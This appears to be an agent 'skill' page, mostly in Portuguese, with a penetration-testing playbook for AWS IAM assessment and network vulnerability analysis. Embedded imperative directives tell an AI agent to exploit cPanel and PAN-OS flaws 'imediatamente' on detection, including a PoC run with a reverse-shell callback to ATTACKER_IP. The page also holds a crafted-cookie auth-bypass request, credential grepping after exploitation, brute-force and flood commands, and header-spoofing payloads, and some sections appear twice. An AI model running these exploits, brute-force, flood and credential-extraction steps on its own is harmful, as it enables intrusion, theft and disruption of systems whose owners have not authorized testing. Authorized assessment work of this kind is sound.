Menu
PTES Phase 4 - Vulnerability analysis for AWS security assessments using WorstAssume security assessment engine
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
Security audit for AI agent endpoints (Claude Desktop/Code, MCP servers, plugins, extensions)
Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation
PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
PTES Phase 2 - Intelligence gathering for AWS security assessments
Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa
| name | pentest-vulnerability-analysis |
| description | PTES Phase 4 - Vulnerability analysis for AWS security assessments using WorstAssume security assessment engine |
| type | skill |
IMPORTANTE: Se durante a análise de vulnerabilidades você identificar pfSense, ATIVE A SKILL
pentest-pfsenseimediatamente.
# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"
# Version detection
curl -sk https://TARGET/ | grep -iE "version|2\.[0-9]"
# Nmap service detection
nmap -sV -p 443,22,1194 TARGET | grep -iE "nginx|openssh|openvpn"
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para vulnerability analysis geral (AWS)
# Use pentest-pfsense para:
# - CVE verification (27+ CVEs conhecidas)
# - Command injection testing (CVE-2023-42326, etc.)
# - File read arbitraries (CVE-2025-53392)
# - XSS stored/reflected testing
# - Package vulnerabilities (pfBlockerNG, Suricata, Snort)
IMPORTANTE: Se durante a análise de vulnerabilidades você identificar cPanel ou WHM, TESTE CVE-2026-41940 imediatamente.
# Web GUI fingerprinting
curl -skI https://TARGET:2087 | grep -iE "server:|cPanel|WHM"
curl -sk https://TARGET:2087/login | grep -iE "cPanel|WHM"
curl -sk https://TARGET:2083 | grep -iE "cPanel"
# Version detection (se autenticado)
curl -sk -H "Authorization: Basic <creds>" https://TARGET:2087/json-api/version
# Nmap service detection
nmap -sV -p 2087,2083,2095,2096 TARGET | grep -iE "cpanel|whm"
# Se cPanel/WHM detectado → Testar CVE-2026-41940
# Step 1: Detect vulnerability
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password detect
# Step 2: Se vulnerável, explorar
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password exploit
# Step 3: Verificar acesso
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password verify
# Step 4: Checar patch (para reporte)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET:2087 -u admin -p password check-patch
# Testar CRLF injection em headers (headi tool)
headi -u https://TARGET:2087/login
IMPORTANTE: Se durante a análise de vulnerabilidades você identificar Palo Alto Networks PAN-OS, TESTE CVE-2026-0300 imediatamente — vulnerabilidade crítica com exploração ativa.
# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|Palo Alto"
curl -sk https://TARGET/php/login.php | grep -iE "PAN_FORM_CONTENT|Palo Alto|PAN-OS"
# Version detection
curl -sk https://TARGET/api/?type=version
curl -sk https://TARGET/php/login.php | grep -iE "version|[0-9]+\.[0-9]+\.[0-9]+"
# Nmap service detection
nmap -sV -p 443,80,8080 TARGET | grep -iE "nginx|Palo Alto"
# Shodan passive detection
shodan search "http.title:\"Palo Alto Networks\""
shodan search "http.favicon.hash:873381299"
# Se PAN-OS detectado → Testar CVE-2026-0300 (Buffer Overflow RCE)
# Step 1: Detect vulnerability (non-intrusive)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
-t https://TARGET detect
# Step 2: Check version
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
-t https://TARGET check-version
# Step 3: Check patch status
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
-t https://TARGET check-patch
# Step 4: Se vulnerável e autorizado → Explorar (CUIDADO: pode crashar)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
-t https://TARGET exploit --host ATTACKER_IP --port 4444
PAN-OS 10.2: < 10.2.7-h34, < 10.2.10-h36, < 10.2.13-h21, < 10.2.16-h7, < 10.2.18-h6
PAN-OS 11.1: < 11.1.4-h33, < 11.1.6-h32, < 11.1.7-h6, < 11.1.10-h25, < 11.1.13-h5, < 11.1.15
PAN-OS 11.2: < 11.2.4-h17, < 11.2.7-h13, < 11.2.10-h6, < 11.2.12
PAN-OS 12.1: < 12.1.4-h5, < 12.1.7
| Campo | Valor |
|---|---|
| CVSS 4.0 | 9.3 (Critical) |
| CWE | CWE-787 (Out-of-bounds Write) |
| Autenticação | NÃO requer |
| Impacto | RCE como root |
| Status | Exploração ativa |
| Pré-requisito | User-ID Auth Portal habilitado |
# 1. Restringir acesso ao User-ID Portal
# Device > User Identification > Authentication Portal Settings
# Adicionar ACL para IPs internos apenas
# 2. Desabilitar Captive Portal se não necessário
# Device > User Identification > Authentication Portal
# 3. Aplicar patch quando disponível (13-28 maio 2026)
# Detect PAN-OS panel
nuclei -u https://TARGET -t /root/nuclei-templates/panos-management-panel.yaml
# Detect User-ID portal
nuclei -u https://TARGET -tags captive-portal,authentication -silent
# Coletar informações
show system info
show interface all
show routing route
# Extrair configuração
cat /config/panos-config.xml
# Verificar sessões ativas
show session all
# Extrair credenciais
grep -r "password\|secret\|key" /config/
# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""
# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)
# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"
# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)
# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"
# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)
# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""
# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)
# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"
# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)
# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"
# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)
curl -sk -H "Authorization: Basic $(echo -n 'root:x' | base64)"
-H "Cookie: whostmgrsession=test; sucesso=1; tfa_verified=1"
https://TARGET:2087/scripts2/doautoconfig
---
## Objetivo
Identificar e validar vulnerabilidades técnicas específicas nos sistemas AWS alvo, seguindo PTES Section 3 (Vulnerability Analysis).
## WorstAssume Security Assessment Engine
### 5 Categorias de Vulnerabilidades (worstassume/core/security_assessment.py)
CATEGORIA 1: WEAK_TRUST
CATEGORIA 2: PERMISSIVE_POLICY
CATEGORIA 3: RESOURCE_WILDCARD
CATEGORIA 4: USER_CONFIG
CATEGORIA 5: GROUP_CONFIG
### Severity Downgrade Matrix
```python
# Trust × permission-risk downgrade matrix (security_assessment.py:38-42)
_TRUST_DOWNGRADE = {
("CRITICAL", "MEDIUM"): "HIGH",
("CRITICAL", "LOW"): "MEDIUM",
("HIGH", "LOW"): "MEDIUM",
}
# Exemplo: Role com trust CRITICAL mas permission risk LOW
# Severidade final: MEDIUM (downgraded)
# DANGEROUS_MANAGED (security_assessment.py:72-75)
- AdministratorAccess
- PowerUserAccess
- IAMFullAccess
- AWSAccountManagementFullAccess
- AWSOrganizationsFullAccess
# ELEVATED_MANAGED (security_assessment.py:77-84)
- AmazonEC2FullAccess, AmazonS3FullAccess, AWSLambda_FullAccess
- AmazonRDSFullAccess, AmazonDynamoDBFullAccess, SecretsManagerReadWrite
- +12 outras policies de serviço
Use headi quando o alvo possui restrições de acesso baseadas em IP ou quando suspeitar de:
X-Forwarded-For, X-Real-IP, etc.)Client-IP, Connection, Contact, Forwarded, From, Host, Origin, Referer,
True-Client-IP, X-Client-IP, X-Custom-IP-Authorization, X-Forward-For,
X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Server, X-Host,
X-HTTP-Host-Override, X-Original-URL, X-Originating-IP, X-Real-IP,
X-Remote-Addr, X-Remote-IP, X-Rewrite-URL, X-Wap-Profile
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433
# Teste com payloads padrão (localhost bypass)
headi -u https://target.com/restricted-resource
# Iterar sobre múltiplos URLs
for i in $(cat urls.txt); do headi -u $i; done
# Após enumerar IPs internos na fase de Intelligence Gathering
headi -u https://target.com/admin -p internal_ips.txt
# Exemplo de internal_ips.txt
10.0.0.1
10.0.1.1
192.168.1.1
172.16.0.1
[+] verde = mudança no Content-Length → possível bypass (investigar!)
[-] vermelho = sem mudança → header não alterou resposta
Exemplo de finding positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]
↑ baseline retornou 403 com size diferente = BYPASS CONFIRMADO
Verificar também:
- Mudança de status code (403 → 200)
- Mudança significativa no Content-Length
- Redirecionamentos diferentes
FINDING: HTTP-HEADER-INJECTION-BYPASS
CATEGORY: ACCESS_CONTROL_BYPASS
SEVERITY: HIGH/CRITICAL (depende do recurso protegido)
AFFECTED RESOURCE:
- URL: [URL alvo]
- Header: [header que causou bypass]
- Payload: [valor do header]
DESCRIPTION:
O endpoint aceita o header [X] para determinar o IP de origem do cliente,
permitindo que um atacante remoto faça spoofing do endereço IP e bypass
controles de acesso baseados em IP.
EVIDENCE:
Baseline: [Code: 403] [Size: 512]
Com header: [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]
VALIDATION:
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
PTES REFERENCE: Section 3.1.1 (Active Testing), 3.2 (Vulnerability Validation)
# Timeout em milissegundos (padrão: 10000ms = 10s)
headi -u https://target.com/resource -t 30000
# Executar assessment em todas as contas enumeradas
worst assess
# Filtrar por severidade mínima (PTES 3.1 - Vulnerability Testing)
worst assess --min-severity MEDIUM
worst assess --min-severity HIGH
# Assessment em conta específica (PTES 3.2.2 - Establish Target List)
worst assess --account-id 123456789012
# Com configuração customizada de severidade (security_assessment.py:112-129)
worst assess --severity-config custom_severity.json
# Exportar resultados para análise técnica (PTES 6.2)
worst assess --output json > findings.json
# Assessment com threads customizadas (default: 8)
worst assess --max-workers 16
// custom_severity.json - Override de severidade por Path-ID
{
"WildcardTrustNoCondition": "CRITICAL",
"ExternalAccountRootTrust": "CRITICAL",
"UserConsoleNoMFA": "HIGH",
"UserStaleKey365": "MEDIUM",
"ResourceWildcard:iam:passrole": "HIGH",
"PermissivePolicy:HIGH": "CRITICAL"
}
PATH-IDs Detectados:
1. WildcardTrustNoCondition (CRITICAL)
- Principal: "*" sem condição
- Qualquer entidade AWS pode assumir a role
2. ExternalAccountRootTrust (CRITICAL/HIGH)
- Root de conta externa confiável
- Toda conta externa pode assumir
3. OwnAccountRootTrust (HIGH/INFO)
- Root da própria conta confiável
- Todo identity da conta pode assumir
4. BroadServicePrincipal:* (MEDIUM-CRITICAL)
- Serviços amplos: sts, ssm, ec2, lambda, ecs-tasks
- Downgrade se condition presente
5. CognitoTrustNoCondition (HIGH)
- Federated Cognito sem restricting condition
- Qualquer Cognito identity pool pode assumir
6. GitHubOIDCNoSubCondition (HIGH)
- GitHub Actions OIDC sem condição sub/aud
- Qualquer workflow pode assumir
7. WildcardFederatedPrincipal (CRITICAL)
- Federated: "*" sem restrição
PATH-IDs Detectados:
1. PermissivePolicy:HIGH (CRITICAL)
- Attached: AdministratorAccess, PowerUserAccess, IAMFullAccess
- Ou inline policy com Action: *
2. PermissivePolicy:MEDIUM (HIGH)
- Attached: AmazonEC2FullAccess, AmazonS3FullAccess, etc.
- Ou write actions em Resource: *
Permission Risk Assessment (_assess_permissions):
- HIGH: DANGEROUS_MANAGED policies ou inline com Action: *
- MEDIUM: ELEVATED_MANAGED policies ou write em wildcard resources
- LOW: Apenas read-only policies
PATH-IDs Detectados (DEFAULT_WRITE_VERBS - 20+ ações):
IAM Manipulation:
- ResourceWildcard:iam:passrole
- ResourceWildcard:iam:createpolicy
- ResourceWildcard:iam:putrolepolicy
- ResourceWildcard:iam:attachuserpolicy
- ResourceWildcard:iam:attachrolepolicy
- ResourceWildcard:iam:createpolicyversion
- ResourceWildcard:iam:updateassumerolepolicy
Compute/Code Execution:
- ResourceWildcard:lambda:invokefunction
- ResourceWildcard:lambda:createfunction
- ResourceWildcard:lambda:updatefunctioncode
- ResourceWildcard:ec2:runinstances
- ResourceWildcard:glue:createjob
- ResourceWildcard:sagemaker:createnotebookinstance
Data Exfiltration:
- ResourceWildcard:s3:putobject
- ResourceWildcard:s3:deletebucket
- ResourceWildcard:s3:putbucketpolicy
- ResourceWildcard:secretsmanager:getsecretvalue
- ResourceWildcard:ssm:sendcommand
Privilege Maintenance:
- ResourceWildcard:sts:assumerole
Defensive Blinding:
- ResourceWildcard:cloudtrail:stoptail
- ResourceWildcard:cloudtrail:deletetrail
- ResourceWildcard:guardduty:deletedetector
PATH-IDs Detectados:
1. UserPrivilege:HIGH/MEDIUM
- User com managed policies de alto privilégio
- Severidade baseada no permission risk
2. UserConsoleNoMFA (HIGH/MEDIUM)
- Console access habilitado sem MFA
- Risco: Account takeover via credential stuffing
3. UserStaleKey365 (HIGH)
- Access key ativa há >365 dias
- Detail: Key ID incluído no finding
4. UserStaleKey90 (MEDIUM)
- Access key ativa há >90 dias
- Recomendação: Considerar rotation
PATH-IDs Detectados:
1. GroupPrivilege:HIGH (CRITICAL)
- Group com DANGEROUS_MANAGED policies
- Todos membros herdam privilégios elevados
2. GroupPrivilege:MEDIUM (HIGH)
- Group com ELEVATED_MANAGED policies
- Members herdam permissões de serviço
-- SecurityFinding table structure
CREATE TABLE security_findings (
id INTEGER PRIMARY KEY,
account_id INTEGER NOT NULL,
entity_arn TEXT NOT NULL,
entity_type TEXT NOT NULL, -- role/user/group
entity_name TEXT NOT NULL,
category TEXT NOT NULL, -- WEAK_TRUST/PERMISSIVE_POLICY/RESOURCE_WILDCARD/USER_CONFIG/GROUP_CONFIG
path_id TEXT NOT NULL, -- e.g., WildcardTrustNoCondition
severity TEXT NOT NULL, -- CRITICAL/HIGH/MEDIUM/LOW/INFO
original_severity TEXT NOT NULL,
message TEXT NOT NULL,
principal_detail TEXT, -- Additional detail about principal
condition TEXT, -- JSON condition from trust policy
perm_risk TEXT, -- HIGH/MEDIUM/LOW permission risk
downgrade_note TEXT, -- Reason for severity downgrade
suppressed BOOLEAN DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
# WEAK_TRUST - Verificar trust policy
aws iam get-role --role-name <role-name> --query 'Role.AssumeRolePolicyDocument'
# PERMISSIVE_POLICY - Verificar policies attached
aws iam list-attached-role-policies --role-name <role>
aws iam list-attached-user-policies --user-name <user>
# RESOURCE_WILDCARD - Verificar inline policies
aws iam get-role-policy --role-name <role> --policy-name <policy>
aws iam get-user-policy --user-name <user> --policy-name <policy>
# USER_CONFIG - Verificar MFA e keys
aws iam get-login-profile --user-name <user>
aws iam list-mfa-devices --user-name <user>
aws iam list-access-keys --user-name <user>
# GROUP_CONFIG - Verificar group policies
aws iam list-attached-group-policies --group-name <group>
aws iam get-group-policy --group-name <group> --policy-name <policy>
# _persist function upserts findings
def _persist(db, account, raw):
return upsert_security_finding(
session=db,
account=account,
entity_arn=raw.entity_arn,
entity_type=raw.entity_type,
entity_name=raw.entity_name,
category=raw.category,
path_id=raw.path_id,
severity=raw.severity,
original_severity=raw.original_severity,
message=raw.message,
principal_detail=raw.principal_detail,
condition=raw.condition,
perm_risk=raw.perm_risk,
downgrade_note=raw.downgrade_note,
suppressed=raw.suppressed,
)
# Thread pool analysis (max_workers=8 default)
with ThreadPoolExecutor(max_workers=max_workers) as pool:
futures = {pool.submit(_analyze_principal, p): p for p in principals}
# Verificar se IMDSv2 está forçado (mitiga PATH-015, PATH-032)
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]'
# Verificar CloudTrail ativo (detecta ações de exploração)
aws cloudtrail describe-trails --query 'trailList[*].[Name,IsMultiRegionTrail,LogFileValidationEnabled]'
# Verificar GuardDuty habilitado
aws guardduty list-detectors --query 'DetectorIds[]'
# Verificar SCPs na organização
aws organizations list-roots
aws organizations list-policies-for-target --target-id <root-id> --filter SERVICE_CONTROL_POLICY
# 1. Executar assessment completo
worst assess --min-severity HIGH --output json > high-severity-findings.json
# 2. Filtrar por categoria específica
worst assess --min-severity MEDIUM | jq '.[] | select(.category == "WEAK_TRUST")'
# 3. Validar finding específico manualmente
# Exemplo: WildcardTrustNoCondition
aws iam get-role --role-name <role-from-finding> --query 'Role.AssumeRolePolicyDocument'
# 4. Verificar permission risk do principal
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>
# 5. Documentar para relatório (PTES 6.2)
cat high-severity-findings.json | jq '.[] | {
path_id: .path_id,
severity: .severity,
entity: .entity_arn,
message: .message
}'
Use Naabu como ferramenta primária para identificação de vulnerabilidades de rede:
# Identificar serviços expostos
naabu -host target.com -p - -sV -silent
# Smart scan para detecção preditiva
naabu -host target.com -ss -silent
# Verificar portas com validação
naabu -host target.com -verify -silent
# CDN/WAF detection (misconfiguration check)
naabu -host target.com -ec -cdn -silent
# Passive scan (sem enviar pacotes)
naabu -host target.com -passive -silent
FINDING: NETWORK-EXPOSURE-NAABU
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: [MEDIUM/HIGH/CRITICAL]
PTES: 3.1.2 - Automated Tools
TARGET:
- IP/Hostname: [target]
- Portas expostas: [lista]
DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
expondo serviços potencialmente vulneráveis.
EVIDENCE:
naabu -host [target] -p - -j
[Output JSON com portas e serviços]
REMEDIATION:
1. Fechar portas não necessárias
2. Implementar firewall rules
3. Usar VPN para serviços internos
4. Habilitar logging e monitoramento
PTES REFERENCE: Section 3.1.2 (Automated Tools)
# Testar firewall stateless (vulnerabilidade de configuração)
hping3 -A -p 80 target.com
# VULNERABILITY: RST recebido = firewall stateless não rastreia conexões
# Testar filtragem de ICMP (pode indicar outras falhas)
hping3 -1 -c 10 target.com
# VULNERABILITY: Respostas ICMP = informação vazada para recon
# Testar fragmentação (bypass potencial de ACLs)
hping3 -S -p 80 -f target.com
# VULNERABILITY: Pacote fragmentado aceito = ACL não reassembla
# Testar TTL-based filtering
hping3 -S -p 80 -t 1 target.com
hping3 -S -p 80 -t 64 target.com
# VULNERABILITY: Diferença de resposta = TTL-based filtering ausente
# Testar detecção de SYN scan
hping3 -S -p 80 -c 100 target.com
# Verificar se alertas foram gerados no SIEM/IDS
# Testar detecção de XMAS scan
hping3 -F -P -U -p 80 -c 50 target.com
# Scans com flags anômalas são detectados?
# Testar detecção de spoofing
hping3 -S -p 80 --rand-source -c 100 target.com
# IDS correlaciona tráfego com origem real?
# Testar rate limiting
hping3 -S -p 80 --flood -c 1000 target.com
# Rate limiting/DoS protection é acionado?
FINDING: FIREWALL-MISCONFIGURATION-HPING3
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: MEDIUM/HIGH
PTES: 3.1.1 - Vulnerability Testing
TARGET:
- IP/Hostname: [target]
- Tipo de firewall: [stateless/stateful]
VULNERABILITY DESCRIPTION:
Firewall configurado em modo stateless permite bypass de regras
de filtragem. Portas internas podem ser acessadas via ACK scan.
EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
hping3 -S -p 443 target.com → SYN-ACK recebido (aberta)
IMPACT:
- Portas internas acessíveis sem autenticação
- Lateral movement facilitado
- Network segmentation comprometida
REMEDIATION:
1. Configurar firewall em modo stateful
2. Implementar stateful packet inspection (SPI)
3. Adicionar regras de rate limiting
4. Habilitar logging de conexões anômalas
PTES REFERENCE: Section 3.1.1 (Active Testing)
OWASP Nettacker provides 50+ vulnerability modules for automated CVE detection and security misconfiguration scanning. Use Nettacker when you need:
# Log4Shell (CVE-2021-44228) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m log4j_cve_2021_44228_vuln
# F5 BIG-IP RCE (CVE-2020-5902) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln
# Citrix ADC RCE (CVE-2019-19781) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2019_19781_vuln
# vBulletin RCE (CVE-2019-16759) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m vbulletin_cve_2019_16759_vuln
# ProxyLogon (CVE-2021-26855) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m msexchange_cve_2021_26855_vuln
# Apache Struts RCE (CVE-2017-5638) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m apache_struts_vuln
# XDebug RCE - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m xdebug_rce_vuln
# Citrix XSS (CVE-2023-24488)
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2023_24488_vuln
# SonicWall SSLVPN (CVE-2024-53704)
docker run --rm owasp/nettacker -i target.com -m sonicwall_sslvpn_cve_2024_53704_vuln
# Ivanti EPMM (CVE-2023-35082)
docker run --rm owasp/nettacker -i target.com -m ivanti_epmm_cve_2023_35082_vuln
# Confluence vulnerabilities
docker run --rm owasp/nettacker -i target.com -m confluence_cve_2023_22515_vuln,confluence_cve_2023_22527_vuln
# Grafana (CVE-2021-43798)
docker run --rm owasp/nettacker -i target.com -m grafana_cve_2021_43798_vuln
# Joomla information disclosure (CVE-2023-23752)
docker run --rm owasp/nettacker -i target.com -m joomla_cve_2023_23752_vuln
# Heartbleed (CVE-2014-0160)
docker run --rm owasp/nettacker -i target.com -m heartbleed_vuln
# Weak cipher suites
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln
# Old SSL versions (SSLv2/SSLv3)
docker run --rm owasp/nettacker -i target.com -m ssl_version_vuln
# Expired certificates
docker run --rm owasp/nettacker -i target.com -m ssl_expired_certificate_vuln
# Self-signed certificates
docker run --rm owasp/nettacker -i target.com -m ssl_signed_certificate_vuln
# All SSL checks combined
docker run --rm owasp/nettacker -i target.com -m ssl_*_vuln
# Clickjacking protection (X-Frame-Options)
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln
# Content Security Policy
docker run --rm owasp/nettacker -i target.com -m content_security_policy_vuln
# X-Content-Type-Options
docker run --rm owasp/nettacker -i target.com -m content_type_options_vuln
# XSS Protection header
docker run --rm owasp/nettacker -i target.com -m xss_protection_vuln
# Server banner leak
docker run --rm owasp/nettacker -i target.com -m server_version_vuln
# X-Powered-By leak
docker run --rm owasp/nettacker -i target.com -m x_powered_by_vuln
# CORS misconfiguration
docker run --rm owasp/nettacker -i target.com -m http_cors_vuln
# Insecure cookies
docker run --rm owasp/nettacker -i target.com -m http_cookie_vuln
# Missing HSTS
docker run --rm owasp/nettacker -i target.com -m strict_transport_security_vuln
# All HTTP header checks
docker run --rm owasp/nettacker -i target.com -m *_vuln | grep -E "http|security|header"
# WordPress
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln,wp_xmlrpc_pingback_vuln,wordpress_dos_cve_2018_6389_vuln
# Joomla
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan,joomla_template_scan,joomla_cve_2023_23752_vuln
# Drupal
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan,drupal_theme_scan
# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan
# Directory brute-forcing
docker run --rm owasp/nettacker -i target.com -m dir_scan
# PHPMyAdmin detection
docker run --rm owasp/nettacker -i target.com -m pma_scan
# Combined web reconnaissance
docker run --rm owasp/nettacker -i target.com -m admin_scan,dir_scan,pma_scan,waf_scan,web_technologies_scan
# FTP brute-force
docker run --rm owasp/nettacker -i target.com -m ftp_brute -u admin,root -p admin,123456,password
# SSH brute-force
docker run --rm owasp/nettacker -i target.com -m ssh_brute -U users.txt -P passwords.txt
# HTTP Basic Auth
docker run --rm owasp/nettacker -i target.com -m http_basic_auth_brute
# HTTP Form brute-force
docker run --rm owasp/nettacker -i target.com -m http_form_brute
# WordPress XMLRPC
docker run --rm owasp/nettacker -i target.com -m wp_xmlrpc_brute
# All brute modules
docker run --rm owasp/nettacker -i target.com -m *_brute -U users.txt -P passwords.txt
# All vulnerability modules
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com \
-m *_vuln \
-o /output/vuln_scan.html \
--graph d3_tree_v2_graph \
-v 2
# Critical + High severity only (faster)
docker run --rm owasp/nettacker \
-i target.com \
-m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,vbulletin_cve_2019_16759_vuln,msexchange_cve_2021_26855_vuln,apache_struts_vuln,xdebug_rce_vuln,log4j_cve_2021_44228_vuln
# Web application security audit
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com \
-m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln,server_version_vuln,x_powered_by_vuln,http_cors_vuln,http_cookie_vuln,strict_transport_security_vuln,ssl_*_vuln \
-o /output/web_audit.html
# Full assessment (recon + vuln + brute)
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com \
-m port_scan,admin_scan,dir_scan,waf_scan,web_technologies_scan,*_vuln,*_brute \
-o /output/full_assessment.html \
-t 50 -M 10
FINDING: CVE-DETECTION-NETTACKER-[CVE-ID]
CATEGORY: VULNERABILITY
SEVERITY: [CRITICAL/HIGH/MEDIUM/LOW]
CVSS SCORE: [X.X]
PTES: 3.1.2 - Automated Tools
AFFECTED RESOURCE:
- Target: [target.com/IP]
- Port: [port number]
- Service: [service name/version]
DESCRIPTION:
OWASP Nettacker [module_name] detected [CVE/vulnerability]
affecting [service/application]. This vulnerability allows
[impact description].
EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [module]
[Nettacker output showing detection]
VALIDATION:
# Manual verification command
curl -s [verification request]
# Or Nettacker API
curl -k "https://localhost:5000/logs/get_json?target=[target]&key=[API_KEY]"
IMPACT:
- [Describe potential impact if exploited]
- [Data that could be compromised]
- [Systems that could be affected]
REMEDIATION:
1. [Specific patch/version to upgrade to]
2. [Configuration changes required]
3. [Workaround if patch unavailable]
REFERENCES:
- CVE-XXXX-XXXXX: [NVD link]
- Vendor Advisory: [vendor link]
- OWASP Nettacker Module: [module name]
PTES REFERENCE: Section 3.1.2 (Automated Tools)
FINDING: HTTP-HEADER-MISSING-[HEADER-NAME]
CATEGORY: MISCONFIGURATION
SEVERITY: LOW/MEDIUM
PTES: 3.1 - Vulnerability Testing
AFFECTED RESOURCE:
- URL: https://[target]/
- Server: [server software if detected]
DESCRIPTION:
The web server is missing the [Header-Name] HTTP response
header, which [purpose of header].
EVIDENCE:
# Nettacker detection
docker run --rm owasp/nettacker -i target.com -m [module_name]
# Manual verification
curl -sI https://target.com | grep -i "[header-name]"
# (no output = header missing)
CURRENT HEADERS:
[List headers that ARE present]
IMPACT:
[Explain security impact of missing header]
- Example: Missing X-Frame-Options allows clickjacking attacks
REMEDIATION:
# Apache
Header always set [Header-Name] "[value]"
# Nginx
add_header [Header-Name] "[value]" always;
# IIS
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="[Header-Name]" value="[value]" />
</customHeaders>
</httpProtocol>
</system.webServer>
REFERENCES:
- OWASP: [relevant OWASP page]
- MDN: [MDN documentation link]
PTES REFERENCE: Section 3.1 (Vulnerability Testing)
FINDING: SSL-TLS-ISSUE-[TYPE]
CATEGORY: CRYPTOGRAPHIC_WEAKNESS
SEVERITY: [MEDIUM/HIGH]
PTES: 3.1 - Vulnerability Testing
AFFECTED RESOURCE:
- Host: [target.com]
- Port: 443/tcp
- Service: HTTPS
DESCRIPTION:
Nettacker SSL scanning detected [issue type]:
[Description of the SSL/TLS vulnerability]
EVIDENCE:
docker run --rm owasp/nettacker -i target.com -m [ssl_module]
# Manual verification
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates
DETAILED FINDINGS:
- Certificate Valid From: [date]
- Certificate Valid Until: [date]
- Issuer: [CA name]
- Subject: [CN]
- Signature Algorithm: [algorithm]
- Cipher Suites: [list weak ciphers if any]
IMPACT:
[Describe cryptographic impact]
REMEDIATION:
1. Obtain new SSL certificate from trusted CA
2. Disable weak cipher suites
3. Disable SSLv2/SSLv3/TLS 1.0/1.1
4. Enable TLS 1.2/1.3 only
5. Implement HSTS
REFERENCES:
- SSL Labs: https://www.ssllabs.com/ssltest/
- OWASP TLS: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html
PTES REFERENCE: Section 3.1 (Vulnerability Testing)
# Phase 1: Nettacker for external vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
-i external-target.com \
-m port_scan,*_vuln,waf_scan \
-o /output/nettacker_external.html
